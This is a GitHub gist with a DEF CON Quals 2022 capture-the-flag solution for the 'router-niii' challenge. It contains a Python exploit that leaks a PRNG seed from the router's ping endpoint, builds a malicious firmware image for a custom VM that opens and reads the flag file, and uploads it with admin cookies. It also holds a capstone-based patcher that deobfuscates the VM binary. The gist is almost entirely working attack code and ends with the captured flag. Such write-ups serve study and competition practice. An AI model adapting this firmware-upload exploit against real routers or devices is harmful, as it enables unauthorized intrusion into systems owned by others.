Skip to content

Instantly share code, notes, and snippets.

@maple3142
Last active May 30, 2022
Embed
What would you like to do?
DEF CON Quals 2022 - router-niii
from pwn import *
from ctypes import CDLL, c_long
from tqdm import tqdm
import httpx
libc = CDLL("libc.so.6")
def gen_payload(SEED):
# the payload and reversing of vm is done by @orange_8361
libc.srand(SEED)
data = list(b"p" * 4096)
chr = lambda x: bytes([x])
def ror(reg, c):
return (b"\x01", chr(reg), c)
def sub(reg, reg2):
return (b"e", chr(reg), chr(reg2))
def reset(reg):
return (b"\x02", chr(reg), b"")
def move(reg, reg2):
return (b"\x03", chr(reg), chr(reg2))
def god_mod():
return (b'"', b"", b"")
def move_to_mem(offset, reg):
return (b"\x04", p16(offset, endian="big"), chr(reg))
def open_file():
return (b"\x1e", b"", b"")
cmds = [
(b"p", b"p", b"p\x00"),
# first byte = 'g'
reset(0),
reset(1),
ror(0, b"h"),
ror(1, b"\x01"),
sub(0, 1), # 'h' - '\x01' = 'g'
reset(1),
# second byte = 'o'
ror(0, b"p"),
ror(1, b"\x01"),
sub(0, 1), # 'p' - '\x01' = 'o'
reset(1),
# 3rd byte = 'd'
ror(0, b"e"),
ror(1, b"\x01"),
sub(0, 1), # 'd' - '\x01' = 'd'
reset(1),
# last byte
move(1, 0), # set r1 = r0
ror(0, b"\x00"), # now r0 = 'god\0'
ror(1, b"\x01"), # now r1 = 'god\01'
god_mod(),
# set f on memory
reset(0),
reset(1),
ror(0, b"h"),
ror(1, b"\x02"),
sub(0, 1),
move_to_mem(0x1000, 0),
# set l on memory
reset(0),
reset(1),
ror(0, b"n"),
ror(1, b"\x02"),
sub(0, 1),
move_to_mem(0x1001, 0),
# set a on memory
reset(0),
reset(1),
ror(0, b"c"),
ror(1, b"\x02"),
sub(0, 1),
move_to_mem(0x1002, 0),
# set g on memory
reset(0),
reset(1),
ror(0, b"i"),
ror(1, b"\x02"),
sub(0, 1),
move_to_mem(0x1003, 0),
# set 3 on memory
reset(0),
reset(1),
ror(0, b"3"),
move_to_mem(0x1004, 0),
# set \x00 on memory
reset(0),
ror(0, b"\x00"),
move_to_mem(0x1005, 0),
# set filename buf at 0x1000
reset(0),
ror(0, b"\x10"),
ror(0, b"\x00"),
open_file(),
reset(2),
ror(2, b"\x10"),
ror(2, b"\x00"),
reset(1),
ror(1, b"A"),
ror(1, b"A"),
reset(1),
ror(1, b"A"),
ror(1, b"A"),
# write to mem
(b"\x1f", b"", b""),
# read 0x11 bytes
reset(2),
ror(2, b"\x00"),
ror(2, b"\x00"),
# read buffer ptr
reset(1),
ror(1, b"\x10"),
ror(1, b"\x00"),
(b"!", b"X", b"X"),
]
for i in range(len(cmds)):
# print i
cmd, typ, c = cmds[i]
if i == 0:
offset = 0
else:
offset = libc.rand() % 4096
# print cmd, offset
count = 0
for _ in cmd + typ + c:
data[(count + offset)%4096] = _
count += 1
return bytes(data)
port = '31337'
j = httpx.get(
f"http://router-mlb4ta7v3lwam.shellweplayaga.me:{port}/ping?id=1000",
headers={"Cookie": "password=admin; username=admin888"},
).json()
x = b64d(j['result'])
# I somehow managed to guess the first 4 bytes of the chunk at `id=1000` is the seed as it looks weird
seed = int.from_bytes(x[:4], 'little')
print(seed)
payload = gen_payload(seed)
with open('3.upd', 'wb') as f:
f.write(payload)
os.system(f'cat 3.upd | ./vm {seed}')
r = httpx.post(
f"http://router-mlb4ta7v3lwam.shellweplayaga.me:{port}/upgrade",
headers={"Cookie": "password=admin; username=admin888"},
files={"upload_firmware": payload},
)
print(r.text)
# FLAG{if_stack_grows_horizontally_pc_can_totally_be_random!}
from capstone import *
from capstone.x86 import *
from pwn import *
import os
elf = ELF("./vm")
text = elf.get_section_by_name(".text").data()
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
insts = list(md.disasm(text, 0x401130))
nop = asm("nop")
for i in range(len(insts)):
xx = insts[i - 7 : i + 1]
ops = [x.mnemonic for x in xx]
if len(ops) < 8:
continue
if ops == ["lea", "push", "add", "lea", "vmovq", "movq", "add", "jmp"]:
ret1 = xx[0].operands[1].mem.disp
ret2 = xx[2].operands[1].value.imm
ret = ret1 + ret2
call1 = xx[3].operands[1].mem.disp
call2 = xx[6].operands[1].value.imm
call = call1 + call2
print(hex(call), hex(ret))
sz = xx[7].address + xx[7].size - xx[0].address
c = asm(f"call {call}", xx[0].address)
print(sz, len(c))
elf.write(xx[0].address, c.ljust(sz, nop))
elf.save("./vm-patched")
os.system("chmod +x ./vm-patched")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment